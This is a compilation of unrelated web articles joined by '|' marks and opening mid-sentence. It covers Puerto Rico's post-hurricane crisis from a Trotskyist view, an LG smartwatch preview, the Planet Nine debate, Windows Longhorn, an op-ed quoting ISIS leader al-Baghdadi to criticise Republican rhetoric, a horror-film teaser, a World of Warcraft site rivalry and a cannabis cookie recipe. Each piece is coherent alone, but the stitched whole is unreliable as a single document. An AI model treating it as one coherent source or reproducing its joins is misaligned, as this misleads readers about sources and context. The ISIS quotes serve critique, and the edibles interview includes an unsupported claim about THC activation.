for survival. Many still lack clean water, cell service and electricity. Many homes have been either destroyed or flooded. The result of the hurricanes and their aftermath has been a massive exodus from the island. In early October, a report by the Center for Puerto Rican Studies at Hunter College in the City University of New York projected that “between 114,000 and 213,000 Puerto Rico residents will leave the island annually in the aftermath of Hurricane Maria,” with as many as 82,000 moving to Florida. The actual figures are much higher. By late November, some 208,000 Puerto Ricans had left the island for Florida alone, and flights to Miami and Orlando are fully booked through the end of the year. But this only intensifies a trend that has been going on for the last decade. The most dramatic population change shown by the CPRS report is that from the start of the island’s economic crisis in 2006, when the number of Puerto Ricans living on the island and in the mainland U.S. were roughly equal, the island population has dwindled to about 3.4 million people while the number of “stateside” Puerto Ricans has risen to 5.5 million. On this island where before Irma and María the average income per person was half that in the poorest U.S. state (Mississippi) and 43.5% of the population had incomes below the federal poverty level, things just got much worse. The number of industrial jobs in Puerto Rico has been cut in half since 1996, and many plants are still not up and running following María, or are barely limping along for lack of power and supplies. The depopulation of Puerto Rico reflects the deep cuts in its living standards. The massive destruction could have been largely prevented, if it had the resources to properly maintain its infrastructure and prepare for natural disasters. For decades, the island colony was treated by the U.S. as a backwater with rampant poverty. There was a period of economic growth in the 1960s and ’70s as the U.S. pumped resources into the island to make it a showcase and military bastion in response to the Cuban Revolution. Tax breaks (Section 936) attracted pharmaceutical giants. But the end of the anti-Soviet Cold War at the onset of the 1990s led to the canceling of these programs. As its tax base dwindled, Puerto Rico’s colonial government resorted to growing debt as poverty escalated. The hurricane exacerbated existing deteriorating conditions on the island. Privatizers, Profiteers and Union-Busters Take Aim at PR Electrical Workers Electrical workers union UTIER, the Coordinadora Sindical and other Puerto Rican labor federations march on the offices of the Financial Control Board (known as “la Junta”) in San Juan's Goldon Mile, August 30, protesting against cuts to wages and pensions in order to pay off Wall Street vulture financiers. (Photo: Metro PR) Electrical workers union UTIER, the Coordinadora Sindical and other Puerto Rican labor federations march on the offices of the Financial Control Board (known as “la Junta”) in San Juan's Goldon Mile, August 30, protesting against cuts to wages and pensions in order to pay off Wall Street vulture financiers. Puerto Rico is undergoing perhaps the longest nationwide blackout in history. The entire electrical system on the island effectively collapsed. While the number of those affected is vastly smaller than giant power outages in India, Turkey, Brazil and elsewhere, those were relatively brief. In this case, well over a million people may be without electricity for four months or more. The Puerto Rican Electrical Power Authority says that as of November 27, 58% of its power generating capacity has been restored. But the power plants were not crippled, it was the distribution system, and some priority users like hospitals use far more electricity than a single family. In fact, most Puerto Ricans homes are still without power, and on St. Croix, the largest of the U.S. Virgin Islands, almost three-quarters of the population has no electricity. Union electrical workers repairing downed power lines after Hurricanes Irma and Maria. (Photo: UTIER) Union electrical workers repairing downed power lines after Hurricanes Irma and Maria. Moreover, prior to the hurricanes, Puerto Rico had severely polluted drinking water due to its dilapidated infrastructure and financial inability to improve conditions. Flooding from the hurricanes has caused further contamination of fresh water by sewage. Two and a half months after María, one-fifth of the population still does not have access to potable running water. While so far a major outbreak of water-borne disease has been avoided, contaminants abound in Puerto Rico. The outlying island of Vieques was used as a site for bomb testing by the U.S. government. Next to a power plant in Guayama in southern Puerto Rico there is a mountain of coal ash, containing arsenic, mercury and chromium. Most landfills are full to overflowing, and desperate people have been drinking water from wells on Superfund toxic waste dumps. As for a long-term solution to Puerto Rico’s energy crisis, a group of electrical engineers at the University of Puerto Rico’s Mayagüez campus argues that switching to greater use of solar power makes sense on an island with lots of sun, limited hydroelectric potential and no oil. South African capitalist wunderkind Elon Musk sent hundreds of Tesla solar panel battery packs to the disaster-stricken island, hoping to eventually rake in big bucks in profits. But while Puerto Rican governor “Ricky” Rosselló says he is enticed by Musk’s offer, there is a crisis that needs to be dealt with now, and that doesn’t stem from nobody ever having thought of a better way to provide power for the island. The energy crisis is the direct result of years of criminal negligence of upkeep, managerial corruption, financial looting by creditors and flat-out union-busting. Puerto Rico’s Autoridad de Energía Eléctrica (AEE, or PREPA, for Puerto Rican Power Authority, in English) is the focus of a privatization offensive fostered by Rosselló of the New Progressive Party (PNP, linked to the U.S. Republicans) and the rest of the colonial capitalist rulers. The aim is to drive this largest publicly owned utility on U.S. territory into the ground, and then sell it off. The AEE is $9 billion in debt. With no money to properly sustain the power grid, even before the hurricane hit, the authority said it needed $4 billion to for urgently needed repairs and upgrades. There were not even enough funds to prune trees growing too close to power lines, which could have helped prevent this widespread loss of power. In July, the AEE filed for bankruptcy, saying it was unable to maintain its “degraded and unsafe” infrastructure. UTIER struck and marched in May 2012 against plans to privatize Puerto Rican Power Authority. (Photo: Indymedia PR) UTIER struck and marched in May 2012 against plans to privatize Puerto Rican Power Authority. A main purpose of the privatization offensive is to break the historically militant electrical workers union UTIER (the Unión de Trabajadores de la Industria Eléctrica y Riego). For decades, Puerto Rico’s capitalist rulers have been going after UTIER, as well as other unions on the island. When, in 1998, then-governor Pedro Rosselló (father of “Ricky”) launched a drive to privatize the profitable Puerto Rico Telephone Company, this culminated in a general strike of which the UTIER was the backbone. Hundreds of thousands of workers shut down most of the island’s economy and government for two days but were eventually defeated by vicious police repression and the capitulation of the union leaders (see “Puerto Rico General Strike – Forge a Revolutionary Workers Party!” and “Balance Sheet of the General Strike: Puerto Rican Workers Mobilize, Union Tops Cave In,” in The Internationalist No. 6, November-December 1998). Ever since the 1980s, Puerto Rican colonial governments under both the PNP and PDP have been pushing the privatization drive, preparing the way by starving government-owned services of funds. As a result, the AEE cut its workforce by 30% and the number of linesmen was slashed by more than half. Even before the recent hurricanes destroyed the power grid, the shortage of trained electrical workers and deferred maintenance resulted in frequent power outages. In September 2016, the entire island was left without electricity for three days after an explosion damaged the key Central Aguirre plant on the south coast. This past August the giant Palo Seco plant, which supplies San Juan on the north coast, was shut down as unsafe. After Hurricane Irma, all the Power Authority’s emergency supplies were used up. Using the debt and energy crises as levers, Wall Street financiers are looking forward to a fire sale of Puerto Rico’s public utility. Like pigs at a feeding trough, they are drawn to the smell of profit above all else. The PROMESA Oversight Board has appointed a retired Air Force colonel as “chief transformation officer” to prepare the privatization of the AEE, and they are eagerly assisted by the endlessly corrupt satraps in the colonial government. AEE chief executive Ricardo Ramos awarded the now-notorious no-bid, no-oversight contract to Whitefish Energy for the clear purpose of buying influence with the Trump regime, whose Interior Secretary is from the same small town in Montana and pals with the company’s owner. The fact that the contract was canceled and Ramos was forced to resign is little consolation for the millions suffering in the dark on “generator island.” None of the bourgeois forces give a damn about the suffering of the poor and working people of Puerto Rico, or even the hard-hit middle class now facing ruin in the island’s economic and physical collapse. The only real solution is to bring out the power of the working class in a fight leading to socialist revolution on the island and the U.S. mainland. The answer to the rampant patronage, looting and gutting of the vital electrical energy authority is for the electrical workers to seize the plants and distribution system and run them in the interests of the population. Marxist revolutionaries say: Defend UTIER! No to Privatization of the AEE! For workers control of the electrical power industry! Drive Out Yankee Imperialism – Independence for All Colonies! For a Puerto Rican Workers State in a Socialist Federation of the Caribbean Profit for investors has been a top priority for as long as Puerto Rico has been a colony of the United States. An even more fundamental reason for keeping the island nation in colonial servitude is its geostrategical importance to Yankee imperialism. It wrested control of Puerto Rico from Spain in 1898, in the first U.S. imperialist war, when it also seized Cuba and Philippines. A few years later, during World War I, the U.S. expeditionary forces occupied Haiti, the Dominican Republic, Panama, Nicaragua and other countries around the Caribbean rim. By the 1930s, Washington withdrew troops from the rest, turning them into neo-colonies ruled by U.S.-installed puppets and economically controlled by Wall Street. But Puerto Rico was kept as a colony, a launching pad to ensure that the Caribbean would be an “American lake.” For the last 65 years, Puerto Rico has been called a “commonwealth” in English, a term with no precise meaning (the states of Kentucky, Massachusetts, Pennsylvania and Virginia are also “commonwealths”), and in Spanish an “estado libre asociado” (ELA, or free associated state), which is a bald-faced lie. At the time this status was enacted in 1952, it was illegal to display a Puerto Rican flag or to advocate in print, campaign for or even talk of independence. In 1950, the U.S. bloodily smashed a pro-independence revolt. These designations are subterfuges aimed at disguising the fact that the island is a colonial possession of the United States which is subject to Washington’s dictate on every substantial issue. At times the U.S. has doled out a few economic crumbs, as long as the island was firmly under the imperialist boot. But not these days. “The Junta Is a Dictatorship.” Banner in August 30 march against the Financial Control Board. (Photo: Metro PR) “The Junta Is a Dictatorship.” Banner in August 30 march against the Financial Control Board. The current crisis, in which Puerto Rico is at the mercy of an unelected Junta de Control Financiero (JCF – in English, Financial Oversight and Management Board), with its recovery from the devastation of hurricanes Irma and María dependent upon FEMA and the U.S. Army Corps of Engineers, is the quintessence of its dependent colonial status. Governor “Ricky” Rosselló and his PNP argue that if Puerto Rico were a state, it would be better able to recover from disasters. You think? Think again. The island might get some more Medicaid dollars, but as for federal aid for relief and rebuilding, all you have to do is look at New Orleans, where the feds’ response to Hurricane Katrina was to drive poor black people out of the city, and Flint, Michigan where FEMA refused to declare the water crisis affecting the largely black city a major disaster. Various social democrats duck the issue of Puerto Rico’s colonial status while arguing that “Congress can and should provide funds for reconstruction, which also requires the cancellation of Puerto Rico’s public debt,” as two leaders of the Partido del Pueblo Trabajador (PPT, Working People’s Party) wrote in an “Open Letter to the People of the United States” (Counterpunch, 20 October). Likewise, the reformist International Socialist Organization argues that “Puerto Rico’s debt must be forgiven – and the austerity that crippled the island over the past several decades must be reversed” (Socialist Worker, 18 October). This is the same idea put forward by Democratic Party “socialist” Bernie Sanders, although he talks more vaguely of “restructuring” the debt to the vulture capitalists to provide “substantial relief” to Puerto Ricans (El Nuevo Día, 28 November). Since when are Wall Street and the U.S. Congress into “forgiving” the debt and lifting the capitalist austerity that impoverish working people? The only way that will be accomplished is through international socialist revolution. The Internationalist Group and League for the Fourth International have from the beginning called for the independence of Puerto Rico, and of all colonies. We call for driving out all imperialist troops and bases. In doing so we are upholding the policy of the Third (Communist) International under Lenin and Trotsky, of Trotsky’s Fourth International and of the Spartacist tendency when it was the voice of revolutionary Trotskyism. There can be no just or democratic solution to national and social oppression when an imperialist power rules over a dependent territory, which has been true of Puerto Rico since 1898. It is doubly true today when the Junta appointed by Washington controls the island’s fate despite the charade of local self-government. But even formal independence will not break the stranglehold of imperialism over semi-colonies, which is how the U.S. dominates much of Latin America. In fact, the deep poverty of the Dominican Republic, Haiti, Jamaica and other Caribbean capitalist countries is one of the main arguments used against Puerto Rican independence. When the Spartacist League and its International Communist League (SL/ICL) announced in 1998 that it no longer advocated independence for the world’s largest remaining colony, the IG denounced this betrayal of communist principle, stressing that the key was Trotsky’s theory and program of permanent revolution, which holds that it is vital “to join together the struggle for emancipation of the subject peoples from imperialism with the fight for proletarian revolution, both in the colony and in the imperialist metropolis” (see “ICL Renounces Fight for Puerto Rican Independence,” The Internationalist No. 6, November-December 1998). This lesson has been driven home by the aftermath of Hurricanes Irma and María and the criminally negligent “relief” efforts of the capitalist-imperialist rulers that have left millions of Puerto Ricans living in the dark for months. Yet today the ex-Trotskyist SL not only refuses to call unambiguously for Puerto Rican independence, it says it would “support” statehood – that is, annexation by the U.S. which would lead to the destruction of the Puerto Rican nation (see “SL/ICL on Puerto Rico: Annexationist ‘Socialists’”). Meanwhile, it joins the social democrats in calling to “cancel Puerto Rico’s debt” without explaining that this will require overthrowing capitalism, and without presenting a concrete transitional program of revolutionary struggle pointing to that goal. While Donald Trump pats himself on the back for the responses to the hurricanes in Texas, Florida and Puerto Rico, recovery efforts have been utterly insufficient, as they generally will be under capitalism. Working-class and poor people, who often barely have the means to survive during fair weather, many living in precarious locations, are always far more vulnerable to natural disasters. This is so independent of national borders. In recent months, a September earthquake in Mexico left a death toll of over two hundred people, while an intermittent eruption of Mount Agung in Bali, Indonesia in September and November drove tens of thousands from their homes, recalling the massive earthquake and tsunami of December 2004. The bourgeois state is organized to defend the interests of the bourgeoisie, leaving working people on their own in the face of life-threatening crises beyond their control. Under the relative anarchy of capitalist society, individuals fend for themselves trying to escape “natural” disasters, whose causes and consequences are the result of the action and inaction of the ruling classes. In desperately poor Haiti hundreds of thousands died in 2010, and in Puerto Rico likely over a thousand perished due to this year’s hurricanes. It doesn’t have to be like this. Next door in Cuba, in a (bureaucratically deformed) workers state with a planned economy, an elaborate system of collective evacuation and shelter preparations means that the hurricanes that annually tear through the Caribbean cause very few deaths. As the example of Cuba shows, it is not sufficient to demand national independence under the Puerto Rican bourgeoisie. To carry out the program of permanent revolution, it is necessary to build a genuinely Trotskyist, revolutionary internationalist workers party in Puerto Rico, part of a reforged Fourth International that can lead the fight for socialist revolution the world over. ■ |
Admittedly, the R's design looks like a substantial improvement over the original -- the first one looks and feels much more like a reference device than a consumer watch -- so we're excited to see how it is in real life. Unfortunately, the components don't seem to be much better than the original G Watch. The single most important factor on any smartwatch is battery life, and just like it is on LG's and Samsung's existing Wear devices, the outlook doesn't look promising; the R comes with a 410mAh battery, a mere 10mAh improvement over its square counterpart. That means we shouldn't expect to get more than a day or so on a single charge. Nearly all of the other guts are the same, too. It comes with interchangeable 22mm straps, a 1.2GHz Qualcomm Snapdragon 400 chipset with 512MB of RAM and 4GB internal storage. It's also rated IP67 for water resistance (up to one meter of water for thirty minutes), just like the last one was. However, there's two notable new features: It comes with a heart rate monitor underneath and what appears to be a power button on the side. One of the more interesting aspects of the R isn't what it has, but what it lacks: A black bar at the bottom of the 1.3-inch, 320 x 320 display. Motorola uses this "flat tire" on the 360, so while the front of the watch is circular, the display itself is not. Reps have explained that this bar houses the ambient light sensor and some drivers for the display. We're not sure yet if the bar's absence means that the R simply won't have these same features, or if they've been relocated elsewhere on the device. We've reached out to LG for more details. LG says that the R will go on sale in early Q4 of this year, which suggests that it'll be out in October or early November. The company isn't ready to disclose pricing, but it says that cost will vary by market. |
Are astronomers being misled by the quirky alignment of orbits that they’re finding in the distant Kuiper Belt? Even as the count of known planets around other stars continues to climb, a small group of observational astronomers and dynamicists are fixated on something much closer to home: tantalizing clues that a super-Earth-size planet lurks undiscovered somewhere beyond the Kuiper Belt in our own solar system. Some have dubbed it "Planet X," others "Planet 9," and right now observing teams are using some of the world’s largest telescopes in a race to track it down. One big problem is that they’re not sure where to look — or if it even exists. The evidence so far is purely circumstantial. To recap, observers have started to accumulate discoveries of a class of far-flung objects in a kind of dynamical "no man's land." They have very eccentric orbits that average at least 150 astronomical units from the Sun (five times Neptune’s distance) but never come closer to the Sun than Neptune’s 30 a.u. Chadwick Trujillo (then at Gemini Observatory) and Scott Sheppard (Carnegie Institution for Science) were the first to realize that the initial 12 such discoveries all had perihelia, the point of their orbits closest to the Sun, near the ecliptic plane (the argument of perihelion for each was near 0° or 180°). Although they initially thought this arrangement might be due to a distant, massive planet, an analysis last year by Ann-Marie Madigan (University of California, Berkeley) and Michael McCourt (Harvard University) concluded that one big planet wouldn’t do — but that a massive disk of Kuiper Belt objects in eccentric orbits would. Meanwhile, Konstantin Batygin and Michael Brown (Caltech) realized that the longitude of these perihelia also cluster on one side of the Sun. Such an alignment wouldn’t happen by chance: The elongated orbits of these objects should gradually precess (pivot) around the Sun at different rates, so the current convergence ought to fall apart in perhaps 10 million years, a short time compared to the age of the solar system. But a single, massive planet — itself in a highly eccentric orbit — could impose the observed orbital order via subtle, long-term gravitational perturbations. Are the Observations Biased? All along, the nagging question has been whether a sample of just a dozen objects, however tightly their orbits might be clustered, is enough to make a robust statistical case for a massive unseen planet. Is their orbital congregation real, or is it just a quirk outcome due to how observers searched for them? Two recent analyses offer opposing answers to this crucial question. A team led by Cory Shankman (University of Victoria, Canada) argues that observational bias is skewing our perception of reality. Made public on June 18th and due to appear in the Astronomical Journal, the analysis details how the Outer Solar System Origins Survey discovered (beginning in 2013) eight new Kuiper Belt objects that are on average at least 150 a.u. from the Sun and never come closer than 30 a.u. One find, 2013 SY 99 , ranges in its solar distance from 50 a.u. to an incredible 1,420 a.u. At face value, some of these eight objects have orbits roughly aligned with the dozen earlier finds, but others do not. More importantly, simulations of the project’s observing strategy suggest that “the orbital distribution in the OSSOS sample could have resulted from a randomly oriented population of objects — it doesn’t require the clustering that others have claimed.” More broadly, Shankman and his colleagues argue that the apparent clustering is an artifact of how these challenging observations — by OSSOS and others — are being made. First, because these objects have such strongly elongated orbits, they’re far more likely to be discovered when close in (near perihelion). And if observers consistently look for them along the ecliptic or far from the congested plane of the Milky Way, as has often been the case, then the outcome is a cluster of objects in these preferred directions. The OSSOS team acknowledges this observational bias and concludes it could have preferentially swept up objects from an otherwise random distribution that have orbital characteristics. But does that logic apply to the clustering reported by Trujillo/Sheppard and Batygin/Brown? In an analysis posted just last week as well, Brown concludes that observational bias can’t explain the clustering of the original 12 distant, eccentric KBOs. "Shankman [and colleagues] make the unwarranted conclusion that 'If our survey is biased, everyone else's must be too,'" says Brown. "[The OSSOS survey] was done at only a few longitudinal locations, which makes it hard to say much about the areas they didn’t survey," Sheppard says. Still, he adds, "It’s great that more extreme objects are being found," because up to this point everyone has been grappling with statistical probabilities based on a very limited sample. One sure way to end all the speculation, of course, would be to find this hypothesized planet. Batygin and Brown estimate that it must have at least 10 times Earth's mass and be a few times bigger around. But their simulations say it also needs to be in a highly elongated orbit that averages maybe 700 a.u. (100 billion kilometers) from the Sun. In that kind of orbit, it’s going to spend most of its 10,000- to 20,000-year orbital period very far from perihelion. Maybe it’s no brighter than magnitude 22 — a challenge to spot even in the best telescopes. So both Brown and Trujillo/Sheppard will be looking in the months ahead, and both are using the 8.2-meter Subaru Telescope on Mauna Kea. "Either we will find it, or we will not," Brown says. "My money is still on finding it." Evidence for Another Kuiper Belt "Planet" Meanwhile, a third analysis of distant orbits also argues that the Kuiper Belt harbors a planet, though this one isn’t nearly so massive or far away. Kathyrn Volk and Renu Malhotra (University of Arizona) analyzed the orbits of more than 600 Kuiper Belt objects and found that those that orbit relatively close-in have orientations that, collectively, match the average plane of our planetary system (known as the invariable plane) to within 2°. However, more distant ones, those averaging 50 to 80 a.u. from the Sun, deviate from the invariable plane by roughly 9° and create a kind of warp in the overall distribution of orbits. "There is not more than a 1% or 2% chance that this warp is merely a statistical fluke," Volk points out. Instead, she and Malhotra suspect that the warp is due to something at least as massive as Mars situated roughly 60 a.u. from the Sun in an orbit 8° inclined to the plane. So wouldn’t such a body have been spotted by now? Maybe not. As Volk notes in a university press release, there’s a 30% chance that Kuiper Belt surveys to date would have overlooked an object of the right brightness and distance. If it really exists, the Large Synoptic Survey Telescope should sweep it up quickly once it starts scouring the sky in a few years. |
Windows codename Longhorn is, without a doubt, the most visually-exciting time in Windows development. With planning for the OS beginning ~2000 and ultimately ending in 2007 as Windows Vista, it saw the end of the Jim Allchin era of Windows and ushered in one Steven Sinofsky, who was recently let go of after the completion of Windows 8. Until its cancellation and reset in 2004, Windows Longhorn was an overly-exciting prospect for Windows enthusiasts and developers. Instead of dividing users and forcing a completely newfangled UI upon its users, Windows Longhorn sought to extend and enhance the familiar. While Windows Vista may have looked close enough to Longhorn, it was nowhere near it to those of us who grew along with Longhorn through its early years. With the news of Steven Sinofsky leaving Microsoft , I am once again excited by the prospect of what's possible for Windows. With this gallery, I seek not only to demonstrate the evolution of a the most exciting UI Microsoft has ever envisioned for Windows, but more importantly, to convey some semblance of the enthusiastic passion developers and users had for Windows: a passion long since lost that I think Microsoft should focus on reclaiming. So with that, grab a cup of coffee, sit back, and click-through to see a vision of Windows you either forgot about or have never even seen. Related: 10 epic Windows 7 pranks you absolutely must try |
The reclusive leader of the militant Islamic State, Abu Bakr al-Baghdadi, during his first public appearance at a mosque in the center of Mosul, Iraq, on July 5, 2014, in this still image taken from video. Photo by Reuters TV/Reuters One of the hot issues in the 2016 presidential election is how to deal with terror and slaughter in the name of Islam. President Obama and Hillary Clinton refuse to call such violence Islamic. They insist that Muslims are victims, not allies, of ISIS and al-Qaida. The Republican candidates for president say this reluctance to associate Islam with jihadi violence is naïve, wimpy, and dangerous. “We need a commander in chief who will once and for all call it what it is, and that is that radical Islamic terrorism is a threat to us all,” says Wisconsin Gov. Scott Walker. Rick Santorum agrees: “Islam is an ideology. And we need to be honest about the American public about what the nature of our enemy really is.” Sen. Marco Rubio promises a Reaganesque crusade: [W]e must restore America’s willingness to think big—to state boldly what we stand for and why it is right. Just as Reagan never flinched in his criticisms of the Soviet Union’s political and economic repressions, we must never shy away from demanding that China allow true freedom for its 1.3 billion people. Nor should we hesitate in calling the source of atrocities in the Middle East by its real name—radical Islam. The Republicans don’t just call the enemy Islamic. They criticize Clinton and Obama for preaching coexistence. At last weekend’s South Carolina Freedom Summit, they laughed off the Crusades and defended mockery of Islam. Carly Fiorina, a former Republican Senate nominee now running for president, demanded to know why Clinton has advocated “religious tolerance” and “the need to empathize with our enemies while Christians are being beheaded and crucified.” Republicans who talk this way think they’re being tough. In reality, however, they’re aiding the enemy. They’re doing for ISIS what they did for al-Qaida: assisting its recruitment, social media, and political strategy. Rhetorically, ISIS and the GOP are in perfect harmony. Don’t take it from me. Take it from the leader of ISIS, Abu Bakr al-Baghdadi. On Thursday his media team released a speech in which the would-be caliph presents his views on Islam, tolerance, and sectarian violence. Baghdadi sounds like a Republican candidate for president. Here’s what he says: 1. This is a war between Muslims and non-Muslims. ISIS, like al-Qaida, can’t wage a global or even regional war with 30,000 fighters. To build popular support, it needs to frame the conflict in religious terms. That’s why Baghdadi agrees with American conservatives who say our enemy is Islam: O Muslims! Do not think the war that we are waging is the Islamic State’s war alone. Rather, it is the Muslims’ war altogether. It is the war of every Muslim in every place. … O Muslims everywhere, has the time not come for you to realize the truth of the conflict and that it is between disbelief and faith? … This war is only against you and against your religion. 2. Coexistence is impossible. Is authentic Islam compatible with Western values? Many conservative activists and politicians say it isn’t. This belief suits Baghdadi. He tells Muslims that they must choose: O Muslims! Whoever thinks that it is within his capacity to conciliate with the Jews, Christians, and other disbelievers, and for them to conciliate with him, such that he coexists with them and they coexist with him while he is upon his religion and upon tawhīd (monotheism), then he has belied the explicit statement of his Lord (the Mighty and Majestic), who says, “And never will the Jews or the Christians approve of you until you follow their religion. … And they will continue to fight you until they turn you back from your religion.” 3. Islam is a religion of war. Santorum, Rudy Giuliani, and other Republicans say ISIS has a scriptural basis for its violence. Two weeks ago Jeb Bush said “part” of the Muslim world was “not a religion of peace.” Baghdadi, too, rejects the religion-of-peace narrative: O Muslims, Islam was never for a day the religion of peace. Islam is the religion of war. Your Prophet (peace be upon him) was dispatched with the sword as a mercy to the creation. He was ordered with war until Allah is worshipped alone. He (peace be upon him) said to the polytheists of his people, “I came to you with slaughter.” … He never for a day grew tired of war. The religion-of-war narrative, whatever its scholarly merits, serves political interests on both sides. It gives the Republicans red meat for the primaries, and it helps Baghdadi persuade Muslims that they’re commanded by God to support ISIS. 4. America doesn’t care about Muslim civilian casualties or civil liberties. Baghdadi says followers of Islam should stand with him because they can’t trust Western governments to protect their rights or spare their innocents. He warns Muslims: And if the Crusaders today claim to avoid the Muslim public and to confine themselves to targeting the armed amongst them, then soon you will see them targeting every Muslim everywhere. And if the Crusaders today have begun to bother the Muslims who continue to live in the lands of the cross by monitoring them, arresting them, and questioning them, then soon they will begin to displace them and take them away either dead, imprisoned, or homeless. Republicans seem determined to prove Baghdadi right. A few years ago, Rubio, Fiorina, Newt Gingrich, and other GOP leaders denounced peaceful Muslim pluralists for proposing to build a mosque in Manhattan near the site of the 9/11 attacks. Last weekend in South Carolina, Santorum complained that most of the planes we’re flying over ISIS territory “come back not having dropped their ordnance.” Apparently, Santorum thinks the military is too careful in its selection and examination of targets. The convergence of Republican rhetoric with jihadist propaganda isn’t new. It’s been building ever since George W. Bush left the White House. Liberated from presidential responsibility, Republicans degenerated into a party that uses Islam for domestic politics instead of thinking about how their words resonate overseas. That’s how they became backup singers for Osama Bin Laden. Now they’re working for Baghdadi. Remind me again who’s naïve. |
366 SHARES Share Tweet I’ve been in or around the horror scene for the majority of my adult life, and I’m not sure that I’ve ever seen a more effective set of teasers than that of Cody Calahan‘s LET HER OUT. They’re intriguing, stylish, brief, and bloody–what more could you possibly ask for? In an age where 75% of movies are shown off in excessively long trailers and clips, it’s unbelievably refreshing to see the folks at Black Fawn Films head in a completely different direction. We’ve had our eye on the film for several weeks now, but these new teasers just put us over the edge. LET HER OUT is now officially on my most anticipated list of 2016. If there’s any way possible for you to make it to the FrightFest world premiere on August 25th , I can’t urge you strongly enough to do so. But don’t take my word for it, feast your eyes on the vibrant sights and sounds of LET HER OUT for yourselves below, and let us know what you think. Want to show the team your support? Share this piece on social media using #LetHerOut. |
The Growing Divide in World of Warcraft Websites October 2, 2012 There are many websites out there covering various aspects of the game, from general news to databases to focused subjects like fishing or pets. Over the years, most sites have interacted in some form or another with the database sites, most notably being WoWDB and Wowhead which are part of the Curse and ZAM networks, respectively. I’ve always preferred using Wowhead, but I use both databases on a regular basis to check spell details, quest information, etc. I’ve even installed the Wowhead tooltip script on Totemspot which also does nifty things like previewing transmog sets in addition to the usual tooltip details. Recently though, I was introduced to the uglier side of what happens when you have “competing” websites. Over the weekend I received a message from one of the guys behind MMO-Champion & WoWDB on a WoW related IRC channel I hang out on. I’ve spoken to this person occasionally before, so I didn’t think anything of it when he told me my website was broken. I checked, and it was working fine, so I asked how it was broken. The reply was: “when I click a link on any of the guide pages it redirects me to wowhead instead of wowdb” I wasn’t too impressed by this suggestion, but I prefer being polite whenever I can so I didn’t tell him to shove off straight away. The rest of the short conversation involved touting the things that WoWDB did better, promises of being advertised on MMO-Champion and examples of other sites that are using it, with the implication that they also received this offer and switched because of it. There was even a link to a web traffic profile of one of these sites with the suggestion that the massive spike was due to their referral although anything dated around the 28th of August makes me think the spike was just because of 5.0.4 (I didn’t have as large a spike on Totemspot, but the traffic increases are fairly similar). I’m also not worried about getting more “exposure” for Totemspot, because simply getting visitors isn’t enough. I want to grow the forums, and that will take time. The site is also cheap enough to run on donations alone so I’m not worried about ad revenue. The approach did irritate me, although I should admit if a site that was getting around 900 visits a day (pre-Mists anyway, it’s been steadily growing to the point where I might pass 3,000 visits in a single day and that’s with having my Elemental guide copied to four other locations) is one that gets bribed with advertising in order to increase their “market hold”, it’s both sad and amusing at the same time. Curse has managed to lower my opinion of themselves on a fairly regular basis. They don’t seem to be happy until they have a near monopoly in a particular area, and will create functionality they can charge for by taking away free functionality or giving paying members access to more “exclusive” stuff. Examples of each are the Curse Client, where you can only download two addons at a time, and the constant beta key give-a-ways for various games. Correction, the Curse Client only downloads one addon at a time, but you can’t have more than two queued unless you have their “premium” membership. I’m not against the ads in the client, because that’s helping pay for the (minimal) amount of bandwidth used, but the now defunct MMO-Minion used at WoWInterface had ads, a premium “remove the ads” option but yet still allowed a One Click Update function. It’s sad to see that because of the actions of one company there is a growing divide in WoW related sites where you either use their stuff, or your site is “wrong” or “broken”. Advertisements |
Be the most popular person at any potluck (or solo hang, TBH) with these lifted baked goods. Photos by Cody Gehret, courtesy of Korova Edibles California-based Korova Edibles has no time for subpar. That’s part of why they tirelessly test for a number of impurities in their cannabis, including potency, molds, and pesticides — throughout multiple stages of production. Oh, and their products can be found in over 700 California locations. So you could say the company is mad serious about how they approach both the herb and the heavenly confections they craft with it, such as a wide variety of cookies, bars, and even popcorn. And they’re not messing around either: these next-level treats can be as strong as they are delicious, with some Korova products including as much as 1000mg of THC. MERRY JANE talked with Joseph Gerlach, the owner at Korova, to learn more about the company, as well as talk edibles culture. The fine folks at Korova even share their recipe for Unrivaled Chocolate Chip Cookies — blessings on blessings, y’all. Korova’s Unrivaled Chocolate Chip Cookies (Makes 20 cookies) 1 cup cannabis-infused butter, softened 3/4 cup packed brown sugar 1/4 cup white sugar 1 (3.5-oz.) package instant vanilla pudding mix 2 eggs 1 teaspoon vanilla extract 2 1/4 cups all-purpose flour 1 teaspoon baking soda 2 cups semisweet chocolate chips Instructions Preheat oven to 375 degrees F (190 degrees C). In a mixing bowl, cream the butter and sugars. Add pudding mix, eggs, and vanilla. Combine flour and baking soda; add to creamed mixture and mix well. Fold in chocolate chips. Drop teaspoonfuls of the dough onto ungreased baking sheets. Bake for 10 to 12 minutes or until lightly browned. MERRY JANE: How did Korova develop its cookie focus? Joseph Gerlach: We wanted to focus on handcrafted recipes that fit with most cookie recipes. Our Saturday Morning cookie, for example, requires baking a specific “crumb” that’s made by hand. It takes longer, but it’s so worth it for an authentic, crunchy texture. Why are baked goods so O.G. in the edibles world? How have you seen them evolve over the past few years? Baked goods have always been a favorite [of] people making cannabis-infused butter and edibles in general. 99 percent of all THC becomes active, ensuring a very effective final product. The consistency and quality control standards in recent years have been the biggest evolution. Tell me a little about how Korova fits into the more national edibles community. Korova is currently franchised in Nevada and Arizona, with new requests for our products coming from out-of-state daily. I think the dominoes are falling as far as legalization, and, within our lifetime, all 50 states will pass legislation legalizing marijuana. How is marijuana becoming more mainstream? Do you notice that in pop culture, as well as in business? You see it in music, with artists like Wiz Khalifa handing branded nugs to open-handed paparazzo outside of a club on Hollywood Boulevard. You see it with Obama’s daughter smoking at a festival and nobody batting an eye. Legalization will allow countless Californians access to cannabis including a large demographic who have abstained simply based on the laws. What do you think is the final frontier for edibles? Edibles are being made with distillate more and more, and we’re seeing edibles becoming more accurately dosed. There’s a much greater attention to detail when it comes to quality control standards and taste. This trend will accelerate with the implementation of laws and guidelines. Tell me about this dish you're sharing with us today. Any pairing tips? Today we're sharing with you our unrivaled chocolate chip cookie recipe. The pudding mix combined with heavy chocolate chips and brown sugar make for a classic home-style treat. I would suggest pairing this with an ice-cold glass of milk. For more on Korova Edibles, including where to buy their dank-ass treats, visit the company's wesbite here. Follow Beca on Twitter. |
